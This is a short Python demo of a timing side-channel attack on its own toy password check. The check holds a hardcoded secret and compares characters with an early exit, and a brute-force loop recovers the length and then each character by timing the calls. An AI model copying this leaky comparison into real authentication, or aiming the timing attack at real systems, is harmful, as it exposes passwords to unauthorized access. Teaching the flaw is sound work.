python_timing_sidechannel1.py

import os

good_pass = "hacked123"


def check_password(password):
    # return password == good_pass
    if len(good_pass) != len(password):
        return False

    for c in range(0, len(password)):
        if good_pass[c] != password[c]:
            return False

    return True


if __name__ == "__main__":
    import time

    # bruteforce length
    elapsed_prev = 100
    for i in range(100):
        start = time.time()
        check_password("a" * i)
        elapsed = time.time() - start
        if elapsed > 2 * elapsed_prev:
            pass_len = i
            break
        elapsed_prev = elapsed

    print(pass_len)

    # bruteforce password
    password = [" " for _ in range(pass_len)]
    print(password)

    for a in range(pass_len):
        avg_prev = 10000000
        for i in range(ord(" "), ord("z")):
            sum = 0
            for b in range(100000):
                start = time.time()
                check_password("".join(password))
                elapsed = time.time() - start

                sum += elapsed
            avg = sum / 100000
            print(password[a], avg, avg_prev)
            if avg > 1.5 * avg_prev:
                os.system("clear")
                print("".join(password))
                break
            password[a] = chr(ord(password[a]) + 1)
            avg_prev = avg

    print(password)